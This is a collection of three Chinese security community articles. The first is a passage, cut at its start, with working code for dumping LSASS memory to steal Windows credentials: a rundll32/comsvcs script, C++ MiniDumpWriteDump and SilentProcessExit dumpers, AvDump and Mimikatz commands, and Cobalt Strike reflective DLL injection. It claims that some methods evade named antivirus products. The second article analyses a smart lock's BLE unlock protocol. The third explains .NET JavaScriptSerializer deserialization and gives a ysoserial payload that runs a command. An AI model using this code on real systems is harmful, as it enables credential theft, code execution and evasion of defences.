WScript.StdOut.WriteLine("Removing " & dmp)
fso.DeleteFile(dmp)
End If
WScript.StdOut.WriteLine("Attempting to dump memory from " & _
str & ":" & pid & " to " & dmp)
Set proc = svc.Get("Win32_Process")
Set startup = svc.Get("Win32_ProcessStartup")
Set cfg = startup.SpawnInstance_
cfg.ShowWindow = SW_HIDE
cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
pid & " " & fso.GetAbsolutePathName(".") & "\" & _
dmp & " full"
Call proc.Create (cmd, null, cfg, pid)
' sleep for a second
Wscript.Sleep(1000)
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Memory saved to " & dmp)
Else
WScript.StdOut.WriteLine("Something went wrong.")
End If
End If
但是直接出现通过rundll方式调用已经被列入是可疑行为，同样会被拦截
## 2.自定义转储
目前比较常见的首发使用`MiniDumpWriteDump`这个`Windows API`来dump内存，该API位于dbghelp.dll中的导出函数:
该函数的定义如下:
BOOL MiniDumpWriteDump(
HANDLE hProcess,
DWORD ProcessId,
HANDLE hFile,
MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
因此我们需要得到`lsass.exe`的进程句柄，并且还要创建一个可写文件用于`outfile`参数的写入:
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
//链接
#pragma comment( lib, "Dbghelp.lib" )
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
//遍历lsass.exe 的PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
//调用MiniDumpWriteDump
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
翻了很多师傅的记录也是这样写的，但我本地vs2019生成之后还是不能成功的dump
`lsass.exe`,因此这里只是学习其dump的方式和原理，具体失败原因还希望师傅多多指点
> 注意该方法的一个细节就是通过获取目标进程的内存快照，从获取的快照内存中读取数据，而不是直接从目标进程中获取，更容易躲避AV/EDR检测。
## 3.其他工具
`AvDump.exe`是Avast杀毒软件中自带的一个程序，可用于转储指定进程`（lsass.exe）`内存数据，因为它带有 Avast
杀软数字签名，所以不会被反病毒检测和查杀，默认安装路径和下载地址如下：
[https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2](https://)
我们可以使用如下命令:
.\avdump64.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\ProgramData\lsass.dmp
> 注意需要在ps中调用，否则cmd默认是不开启seDEBUGPrivilege权限的，但是现在360会检测到avdump
>
## 4.静默进程退出机制触发LSASS
该技术和Werfault.exe进程有关，在某个运行中的进程崩溃时，werfault.exe将会Dump崩溃进程的内存，从这一点上看，我们是有可能可以利用该行为进行目标进程内存的Dump。
在[https://www.mrwu.red/web/2000.html](https://) 这篇文章中介绍了利用蓝屏崩溃来绕过卡巴斯基`dump
lsass`进程,在win7之后，windows引入一些进程退出的相关机制
称为“静默进程退出”的机制，该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力：
（1）被监控进程调用 ExitProcess() 终止自身；
（2）其他进程调用 TerminateProcess() 结束被监控进程。
也就意味着当进程调用`ExitProcess() 或 TerminateProcess()`的时候，可以触发对该进程的如下几个特殊的动作:
* 启动一个监控进程
* 显示一个弹窗
* 创建一个Dump文件
由于该功能默认不开启，我们需要对注册表进行操作，来开启该功能，主要的注册表项为：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<被监控进程名>\ 注册表项下的GlobalFlag值：0x200（FLG_MONITOR_SILENT_PROCESS_EXIT）
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<被监控进程名>\ 注册表项下的3个键值：
1）ReportingMode（REG_DWORD），该值可设置为以下几个，具有不同功能：
a）LAUNCH_MONITORPROCESS (0x1) – 启动监控进程；
b）LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件；
c）NOTIFICATION (0x4) – 显示弹窗。
2）LocalDumpFolder (REG_SZ) – DUMP文件被存放的目录，默认为%TEMP%\\Silent Process Exit；
3）DumpType – 根据 MINIDUMP_TYPE 枚举值指定DUMP文件的类型 (Micro, Mini, Heap 或 Custom) ，完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2)。
这里我们需要使用的是`MiniDumpWithFullMemory`对应的值是0x2
根据github上已有的项目代码中我们也能进行验证[https://github.com/deepinstinct/LsassSilentProcessExit](https://)
分别设置了`MiniDumpWithFullMemory`和`FLG_MONITOR_SILENT_PROCESS_EXIT`的值
实现修改注册表后我们就能够通过终止目标进程即可获得相应文件的DUMP文件，但是终止LSASS意味着系统将重启，并且我们的目的只是为了dump保存在其中的登录凭据，因此有没有什么办法能够是进程在`静默退出`而又不会实际终止进程呢？
答案是有的，我们来看这个API: **RtlReportSilentProcessExit**
API将与Windows错误报告服务（WerSvcGroup下的WerSvc）通信，告诉服务该进程正在执行静默退出。然后，WER服务将启动WerFault.exe，该文件将转储现有进程。值得注意的是，调用此API不会导致进程退出。其定义如下：
NTSTATUS （NTAPI * RtlReportSilentProcessExit ）（
_In_ HANDLE ProcessHandle，
_In_ NTSTATUS ExitStatus
）;
但是在MSDN中并没有查询到该API的任何解释，原来该函数是`Ntdll.dll`的导出函数而MSDN是没有关于`Ntdll`中API的任何解释的:
当我们调用此API不会导致Lsass进程退出,这可以让我们在LSASS进程上执行DUMP动作而不导致LSASS的终止从而实现我们的目的
原文作者使用两种方式，一种是直接调用`RtlReportSilentProcessExit`，一种是远程在LSASS中创建线程执行`RtlReportSilentProcessExit`
这两种方法都能够成功dump内存，这里我们使用第一种方式通过`RtlReportSilentProcessExit`来使得`lsass`进程出于静默退出状态
贴出`main.cpp`:
#include "windows.h"
#include "tlhelp32.h"
#include "stdio.h"
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"C:\\temp"
#define MiniDumpWithFullMemory 0x2
typedef NTSTATUS(NTAPI * fRtlReportSilentProcessExit)(
HANDLE processHandle,
NTSTATUS ExitStatus
);
BOOL EnableDebugPriv() {
HANDLE hToken = NULL;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
printf(" - 获取当前进程Token失败 %#X\n", GetLastError());
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
printf(" - Lookup SE_DEBUG_NAME失败 %#X\n", GetLastError());
return FALSE;
}
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL)) {
printf(" - AdjustTokenPrivileges 失败: %#X\n", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL setRelatedRegs(PCWCHAR procName) {
HKEY hkResSubIFEO = NULL;
HKEY hkResSubSPE = NULL;
DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
DWORD reportingMode = MiniDumpWithFullMemory;
DWORD dumpType = LOCAL_DUMP, retstatus = -1;
BOOL ret = FALSE;
PWCHAR subkeyIFEO = (PWCHAR)malloc(lstrlenW(IFEO_REG_KEY)*2 + lstrlenW(procName)*2 + 5);
wsprintf(subkeyIFEO, L"%ws%ws", IFEO_REG_KEY, procName);
PWCHAR subkeySPE = (PWCHAR)malloc(lstrlenW(SILENT_PROCESS_EXIT_REG_KEY)*2 + lstrlenW(procName)*2 + 5);
wsprintf(subkeySPE, L"%ws%ws", SILENT_PROCESS_EXIT_REG_KEY, procName);
printf(" - [DEBUGPRINT] Image_File_Execution_Options: %ws\n", subkeyIFEO);
printf(" - [DEBUGPRINT] SilentProcessExit: %ws\n", subkeySPE);
do {
// 设置 Image File Execution Options\<ProcessName> 下GlobalFlag键值为0x200
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeyIFEO, &hkResSubIFEO))) {
printf(" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n", GetLastError());
break;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlag, sizeof(globalFlag)))) {
printf(" - 设置注册表键 GlobalFlag 键值失败: %#X\n", GetLastError());
break;
}
// 设置 SilentProcessExit\<ProcessName> 下 ReporingMode/LocalDumpFolder/DumpType 三个值
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeySPE, &hkResSubSPE))) {
printf(" - 打开注册表项 SilentProcessExit 失败: %#X\n", GetLastError());
break;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingMode, sizeof(reportingMode)))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER)*2))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpType, sizeof(dumpType)))) {
printf(" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n", GetLastError());
break;
}
printf(" - 注册表设置完成 ...\n");
ret = TRUE;
} while (FALSE);
free(subkeyIFEO);
free(subkeySPE);
if (hkResSubIFEO)
CloseHandle(hkResSubIFEO);
if (hkResSubSPE)
CloseHandle(hkResSubSPE);
return ret;
}
DWORD getPidByName(PCWCHAR procName) {
HANDLE hProcSnapshot;
DWORD retPid = -1;
hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe;
if (INVALID_HANDLE_VALUE == hProcSnapshot) {
printf(" - 创建快照失败!\n");
return -1;
}
pe.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32First(hProcSnapshot, &pe)) {
printf(" - Process32First Error : %#X\n", GetLastError());
return -1;
}
do {
if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} while (Process32Next(hProcSnapshot, &pe));
CloseHandle(hProcSnapshot);
return retPid;
}
INT main() {
PCWCHAR targetProcName = L"lsass.exe";
DWORD pid = -1;
HMODULE hNtMod = NULL;
fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;
HANDLE hLsassProc = NULL;
NTSTATUS ntStatus = -1;
if (!EnableDebugPriv()) {
printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
return 1;
}
printf(" - 启用当前进程DEBUG权限 OK\n");
if (!setRelatedRegs(targetProcName)) {
printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
return 1;
}
printf(" - 设置相关注册表键值 OK\n");
pid = getPidByName(targetProcName);
if (-1 == pid) {
printf(" - 获取目标进程pid: %#X\n", pid);
return 1;
}
printf(" - 获取目标PID: %#X\n", pid);
do
{
hNtMod = GetModuleHandle(L"ntdll.dll");
if (!hNtMod) {
printf(" - 获取NTDLL模块句柄失败\n");
break;
}
printf(" - NTDLL模块句柄: %#X\n", (DWORD)hNtMod);
fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");
if (!fnRtlReportSilentProcessExit) {
printf(" - 获取API RtlReportSilentProcessExit地址失败\n");
break;
}
printf(" - RtlReportSilentProcessExit地址: %#X\n", (DWORD)fnRtlReportSilentProcessExit);
hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION|PROCESS_VM_READ, 0, pid);
if (!hLsassProc) {
printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError());
break;
}
printf(" - 获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);
ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);
printf(" - 结束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X\n", (DWORD)ntStatus);
} while (false);
if (hNtMod)
CloseHandle(hNtMod);
if (fnRtlReportSilentProcessExit)
CloseHandle(fnRtlReportSilentProcessExit);
if (hLsassProc)
CloseHandle(hLsassProc);
if (fnRtlReportSilentProcessExit)
fnRtlReportSilentProcessExit = NULL;
return 0;
}
并且成功以离线方式导入读取登录凭据:
利用这种方式目前还未被火绒和360进行拦截:
其中进程顺序是`lsassdump.exe->svchost.exe
(WerSvcGroup)->WerFault.exe`，由运行级别为high的Wefault.exe进行dump文件创建。
## 5.CS模块中的Mimikatz
当目标机器在CS上线时，如果是管理员权限或者是SYSTEM权限的话，可以直接使用
mimikatz sekurlsa::privilege full
mimikatz sekurlsa::logonpasswords full
之前一直有疑惑，在CS中运行Mimikatz获取登录凭据成功，而通过落地文件方式则会直接被杀，因此CS是如何使用Mimikatz的，换句话说难道CS也是通过上传文件的方式来调用Mimikatz的吗?
其实不然，CS采用的是 **反射dll模块内存加载**
,这个主要实现了cs里的一些功能比如`mimikatz，screenshot，sshagent，hashdump`等等这些功能全部是由反射dll实现的，Cobalt
Strike作者将这些功能拆分成一个个的反射dll在使用时才加载执行
反射dll注入的方式不需要在文件系统存放目标DLL，减少了文件“落地”被删的风险。同时它不需要像常规的DLL注入方式那么套路，因此更容易通过杀软的行为检测。由于反射式注入方式并没有通过`LoadLibrary`等API来完成DLL的装载，DLL并没有在操作系统中”注册”自己的存在，因此用ProcessExplorer等软件也无法检测出进程加载了该DLL
因为本人对此了解不多，具体可以参考[https://www.heibai.org/176.html](https://)这篇文章
借用这篇文章所说的反射DLL注入的核心思路:
我们不想让DLL文件“落地”,
那我们可以在磁盘上存放一份DLL的加密后的版本，然后将其解密之后储存在内存里。我们然后可以用`VirtualAlloc`和`WriteProcessMemory`将DLL文件写入目标进程的虚拟空间中。然而，要”加载”一个DLL，我们使用的LoadLibrary函数要求该DLL必须存在于文件系统中。这可怎么办呢。
没错，我们需要抛弃LoadLibrary，自己来实现整个装载过程！我们可以为待注入的DLL添加一个导出函数，`ReflectiveLoader`，
**这个函数实现的功能就是装载它自身**
。那么我们只需要将这个DLL文件写入目标进程的虚拟空间中，然后通过DLL的导出表找到这个`ReflectiveLoader`并调用它，我们的任务就完成了。
于是，我们的任务就转到了编写这个ReflectiveLoader上。由于ReflectiveLoader运行时所在的DLL还没有被装载，它在运行时会受到诸多的限制，例如无法正常使用全局变量等。而且，由于我们无法确认我们究竟将DLL文件写到目标进程哪一处虚拟空间上，所以我们编写的ReflectiveLoader必须是地址无关的。也就是说，ReflectiveLoader中的代码无论处于虚拟空间的哪个位置，它都必须能正确运行。这样的代码被我们称为“地址无关代码”(position-independent code, PIC)。
要实现反射式注入DLL我们需要两个部分，`注射器`和`被注入的DLL`。其中，被注入的DLL除了需要导出一个函数ReflectiveLoader来实现对自身的加载之外，其余部分可以正常编写源代码以及编译。而注射器部分只需要将被注入的DLL文件写入到目标进程，然后将控制权转交给这个ReflectiveLoader即可。因此，注射器的执行流程如下：
* 1. 将待注入DLL读入自身内存(利用解密磁盘上加密的文件、网络传输等方式避免文件落地)
* 1. 利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
* 1. 利用CreateRemoteThread等函数启动位于目标进程中的`ReflectiveLoader`
CS中`Aggressor Script`脚本提供了一些关于反射DLL的接口：<https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn>
我们来看一下具体的实现方法:
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) {
BOOL bReturnValue = TRUE;
switch( dwReason ) {
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
/* print some output to the operator */
if (lpReserved != NULL) {
printf("Hello from test.dll. Parameter is '%s'\n", (char *)lpReserved);
}
else {
printf("Hello from test.dll. There is no parameter\n");
}
/* flush STDOUT */
fflush(stdout);
/* we're done, so let's exit */
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
这是该DLL的主函数，程序通过DLLMain函数的lpReserved来当做参数传递，我们进一步跟进这个反射DLL的项目中查看代码:
和之前分析的一样，先判断该DLL是否存在`ReflectiveLoader`这个导出函数后，利用`VirtualAlloc和WriteProcessMemory`在目标进程中写入待注入的DLL文件，最后利用`reateRemoteThread`函数来启动进程中的`ReflectiveLoader`
这里为了说明和突出反射DLL注入的效果，我们使用作者的项目编译好DLL后可以写一个简单的演示cna:
alias reflective_dll {
bdllspawn($1, script_resource("reflective_dll.dll"), $2, "test dll", 5000, false);
}
将其放置在同一目录下，然后CS加载写好的cna
通过反射DLL注入的方式调用Messagebox
而在CS中Mimikatz也是通过该方式调用，因此避免了文件落地而且同样达到了免杀的目的，并且经过测试在DLL主函数中执行system命令也同样不会被拦截:
* * *
参考文章:
* [https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/](https://)
* [https://www.archcloudlabs.com/projects/dumping-memory-with-av/](https://)
* [https://lengjibo.github.io/nod32-bypass/](https://)
* [https://3gstudent.github.io/MiniDumpWriteDump-via-COM+-Services-DLL-%E7%9A%84%E5%88%A9%E7%94%A8%E6%B5%8B%E8%AF%95](https://)
* [https://cobaltstrike.com/aggressor-script/functions.html#bdllload](https://) | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLab
原文链接：<https://mp.weixin.qq.com/s/OADymyp6GdW_FPetl8oPvA>**
## **简介**
通过之前几篇对智能门锁的分析和讨论，是不是有种渐入佳境的感觉？从本篇开始，我们再换一个门锁品牌进行研究，与各位读者分享更多关于智能门锁的安全研究案例。
此次要分析的产品是Loock
Touch智能门锁，由云丁科技公司出品。云丁科技是一家专注于研发和生产智能家居安全产品的公司，旗下有两大品牌，分别是针对家用市场的“鹿客”和针对公寓市场的“云丁”。Loock
Touch是鹿客品牌的主打产品之一，其架构与云丁品牌的D2、D3智能门锁很相似，最新的鹿客旗舰产品是Loock Touch 2
Pro，其硬件架构与此前所有产品均不同，变化较大。
由于胖猴实验室一直和云丁科技有良好的合作关系，所以接下来的几篇的分析和讨论中，我们只对分析方法和研究过程做讨论，而不涉及任何有关漏洞的细节，这与此前的关于海康萤石智能网关的文章类似。
## **流程分析**
在本专题第6篇中，我们分析了果加智能门锁，在该分析中我们以BLE开锁为分析切入点。云丁鹿客的Loock
Touch门锁同样可以通过手机BLE直接开锁，那么我们就从app的开锁流程开始分析。
应用市场中下载到的云丁鹿客智能门锁的配套app加了梆梆企业版的壳，脱壳之后可以看到该app打印出来的日志（脱壳不在本系列文章的讨论范畴中，分析iOS版也是可以的）。我们操作手机开启门锁后，app的日志中有这样几条记录吸引到了我们。
图2-1 app开锁时打印的日志
根据上图中3个红框中的记录内容，我们可以推测开锁过程是基于Challenge/Response模式进行认证的，具体过程如下：
（1）app与门锁建立BLE连接后，当使用app开启门锁时，app会先下发一条通知指令，告知门锁准备进入开锁流程；
（2）随后门锁会向手机发送一组数字，称之为Challenge；
（3）app对Challenge进行处理生成Response并发送给门锁，门锁验证Response正确时，就会开锁。
我们对比了多次开锁时的app日志，发现每次开锁时第（1）步发送的通知指令仅有一个字节内容不同，如下图所示：
图2-2 通知指令对比
上图中，我们对比了3条通知指令，发现仅有第7个字节不同，在app封装数据包的代码段中，可以确定这个字节的含义是seqID，即数据包的序列号。因此我们可以推测这一条通知指令的作用类似于TCP协议中的SYN数据包，仅起到握手的作用，而门锁对手机的认证过程，主要是第（2）和第（3）步，那么接下来我们就分析一下app是如何处理Challenge并生成Response的。
## **Challenge的处理**
### 3.1 处理流程分析
通过在代码中搜索日志内容，我们可以确定，app收到Challenge数据后，会由下图中的方法进行处理。
图3-1 Challenge数据处理
上图中，
handleCommand方法用于处理BLE返回数据，门锁返回的Challenge就作为参数传给了方法sendUnlockCommandNewProtocol，从参数和方法名称来看，这就是处理Challenge数据、生成Response并发送回门锁的方法。
进一步查看代码，我们发现在sendUnlockCommandNewProtocol方法中，最终调用了下图中的encryptBleKeyNewProtocol方法对Challenge数据进行处理，该方法返回后的数据，添加包头后会被直接发送给门锁。
图3-2 对Challenge数据进行加密
上图中，参数arg13即为Challenge数据，可以看到该方法中使用了AES EBC加密，密钥是参数arg9，加密完成后使用密文又异或了一组固定数据。
经过以上分析我们可以推测，开锁流程中，门锁对手机的认证依赖于图3-2中的AES
EBC算法，即双方使用相同的密钥对Challenge进行加密和解密处理，仅当手机拥有正确的AES密钥才能通过认证开启门锁。那么开锁流程的安全性，就取决于门锁与手机使用的密钥是否安全了。
### 3.2 加密密钥的获取
图3-2中，加密密钥是参数arg9，通过对arg9的回溯可以确定，对Challenge进行加密的密钥通过resetBleToken方法获取，如下图所示。
图3-3 加密密钥的获取
resetBleToken方法中发出了一个http请求，收到返回的BleToken并进行处理后，会对一些变量进行赋值。图中的mBleKey是BleKeyInfo类型的变量，其token成员变量，就是3.1章节中Challenge数据的加密密钥。下文中，我们将以BleKey来代称这个加密密钥。
由以上分析可以知道，BleKey是app从服务器上请求到的，这里就有两种可能：
（1）每次app与门锁建立通信时，都会请求一个Key并下发给门锁；
（2）当app与门锁建立通信时，如果没有可用的BleKey，才会向服务器发送请求。
为了验证以上推测，我们使用手机多次重复开启门锁，这样使手机和门锁反复建立通信，这时我们在app日志和抓取到的数据包中，都没有发现这个请求以及相关内容，可以判断app应该是本地保存了BleKey，而不需要从服务器获得了。
我们可以通过清空app缓存的方式，删除本地存储的BleKey，删除后app开锁时的日志发生了一些变化，如下图所示：
图3-4 删除app的蓝牙钥匙后app开启门锁时的日志
对比图3-4和图2-1中的日志内容，可以看到删除BleKey后，在开启门锁时先执行了resetBleToken，这和我们的分析吻合。这里我们注意到，resetBleToken之后，还有另外一条日志sendBleKeyCommandNewProtocol，这里是向门锁发送BleKey的方法，下面我们先继续手机获取BleKey这一过程的分析，手机向门锁下发BleKey的过程将在3.4节中分析。
与此同时，我们在fiddler中也抓到的对应的http请求，如下图所示。
图3-5 reset_token请求
app收到返回的BleToken后，会使用AES CBC算法，对上图中红框内的secret和token进行解密，相关代码如下图所示，
图3-6 reset_token返回值的处理
此时可以确定，app从服务器获取到的BleKey同样被AES
CBC加密算法保存。通过图3-6可以看到，其密钥由方法getCryptSecret返回，与方法名称对应，这个密钥我们就称之为CryptSecret，下一步我们就来分析CryptSecret的来源。
### 3.3 CryptSecret的获取
BleKey解密时的密钥通过getCryptSecret方法获得。那么我们可以从这个方法入手，相关代码的搜索结果如下图所示。
图3-7 获取CryptSecret的代码流程
上图中，getCryptSecret方法返回的是this.mCryptSecret，而这个变量是通过setCryptSecret赋值的，setCryptSecret方法则是在getSecret方法中被调用。在getSecret方法中，可以看到CryptSecret是从云丁鹿客的服务器获取到的，其url为”api/v1/crypt_secret”。同样的，我们在fiddler里也可以抓到crypt_secret数据包，如下图：
图3-8 crypt_secret请求及其响应
由于这里的信息有些敏感，所以我们做了打码处理。
### 3.3 向门锁下发BleKey
3.2节中说到sendBleKeyCommandNewProtocol函数负责向门锁下发BleKey，该函数如下图所示。
图3-9 手机向门锁下发BleKey的函数
结合上图与图3-4的日志和图3-5中reset_token请求的返回数据包，可以发现，手机向门锁下发BleKey的流程非常简单，就是对reset_token返回数据包中的totalData进行base64解码，解码后的二进制数据直接通过BLE通信发送给了门锁，门锁对totalData的处理我们将在后续文章中分析。
## **小结**
经过第二、三章的分析，我们可以将Loock Touch门锁的开锁流程总结如下图所示。
图4-1 开锁流程图
上图中，开锁流程可以分为两个部分：
（1）虚线部分表示，当app没有存储可用的BleKey时，会向服务器请求CryptKey和BleToken两组数据，以CryptSecret为密钥，对BleToken中的数据进行AES
CBC解密后，就可以得到BleKey。
（2）实线部分则是当app中有可用的BleKey时，会以BleKey为密钥对Challenge进行AES
EBC加密，密文异或一组固定数据后，作为Response的主要内容并发送给门锁，当Response校验成功后才会开启门锁。
本篇文章侧重于云丁鹿客智能门锁的app端的分析。至此我们对app的开锁流程基本已经理清了：开锁时，门锁与app之间采用了Challenge/Response的方式进行身份校验，app对Challenge数据进行处理时使用了AES
EBC加密算法，密钥我们称之为BleKey；BleKey的获取流程是：门锁配套的app向服务器发送reset_token请求，并对返回内容进行AES
CBC解密，这里解密密钥称之为CryptSecret；CryptSecret是app通过向服务器发送crypt_secret请求获取到的。
此外，在第二章中提到，智能门锁和门锁配套的app中应该存储着相同的BleKey，这样才能完成认证过程。而智能门锁中的BleKey也是由手机通过BLE通信下发的。通过本专题的前几篇文章，我们知道某些情况下BLE通信会很容易被监听，那么如何保护BleKey的下发过程是安全的呢？我们将在后续文章中分析这一过程。
* * * | 社区文章 |
# JavaScriptSerializer
JavaScriptSerializer是微软内部自带的api，可以在对象和json字符串之前来回转换。其命名空间位于System.Web.Script.Serialization，结构如下：
# demo
序列化反序列化demo
using System;
using System.Web.Script.Serialization;
namespace JavaScriptDeserialize
{
class Person
{
public string Name { get; set; }
}
class Program
{
static void Main(string[] args)
{
// no SimpleTypeResolver
Person person = new Person() { Name = "jack" };
JavaScriptSerializer serializer = new JavaScriptSerializer();
string v = serializer.Serialize(person);
Console.WriteLine(v);
Person p = serializer.Deserialize<Person>(v);
Console.WriteLine(p.Name);
// SimpleTypeResolver
JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver());
string v1 = serializerWithType.Serialize(person);
Console.WriteLine(v1);
Person p1 = serializerWithType.Deserialize<Person>(v1);
Console.WriteLine(p1.Name);
Console.ReadKey();
}
}
}
输出
{"Name":"jack"}
jack
{"__type":"JavaScriptDeserialize.Person, JavaScriptDeserialize, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"jack"}
jack
产生漏洞的原因是在构造函数有两个参数的重载：`public JavaScriptSerializer(JavaScriptTypeResolver
resolver)`，其中JavaScriptTypeResolver参数是一个类型解析器，可在序列化字符串中自定义类型的元数据程序集限定名称。
当构造函数使用SimpleTypeResolver参数时，序列化的json中会带有type信息，反序列化时就有漏洞隐患。反序列化方法有三个：
这三个方法都是对`internal static object Deserialize(JavaScriptSerializer serializer,
string input, Type type, int depthLimit)`的一个封装
调用BasicDeserialize
继续调用DeserializeInternal
然后
根据节点标签不同的类型进入不同的反序列化实现，当节点标签是Object类型时，先DeserializeDictionary拿到键值对字典，如果包含了`__type`字段，则会进入ConvertObjectToType转换类型。然后一层层进入ConvertObjectToTypeInternal
ConvertObjectToTypeInternal中又会进入ConvertDictionaryToObject
在ConvertDictionaryToObject中，当满足`if (serializer.TypeResolver !=
null)`类型解析器不为空时，尝试获取`__type`字段的值赋值给obj2，然后强转字符串赋值给text变量。然后通过`serializer.TypeResolver.ResolveType(text)`拿到type赋值给type2。
而类型解析器ResolveType中直接使用Type.GetType获取类型，相当于`__type`控制对象类型。
而type2最终通过`Activator.CreateInstance(type2)`创建对应类型实例。
那么我们传入包含`__type`字段的json，就会转为对应类型的对象。
# 攻击链
使用ObjectDataProvider攻击链，通过ObjectDataProvider来创建Process实例。payload如下：
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f JavaScriptSerializer -g objectdataprovider -c calc
{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd', 'Arguments':'/c calc'
}
}
}
反序列化代码如下
using System;
using System.IO;
using System.Web.Script.Serialization;
namespace JavaScriptDeserialize
{
class Program
{
static void Main(string[] args)
{
// SimpleTypeResolver
JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver());
serializerWithType.Deserialize<Object>(File.ReadAllText("1.json"));
Console.ReadKey();
}
}
}
这里`Deserialize<Object>`用到了Object类型。也可以用其他的Deserialize重载方法。
# 审计
关注传入的json字符串是否可控，以及构造函数中JavaScriptTypeResolver参数，审计自定义类型解析器对于type的校验是否严谨。
# 后文
本文讲解了JavaScriptSerializer序列化api，如果有错误，请指正。 | 社区文章 |
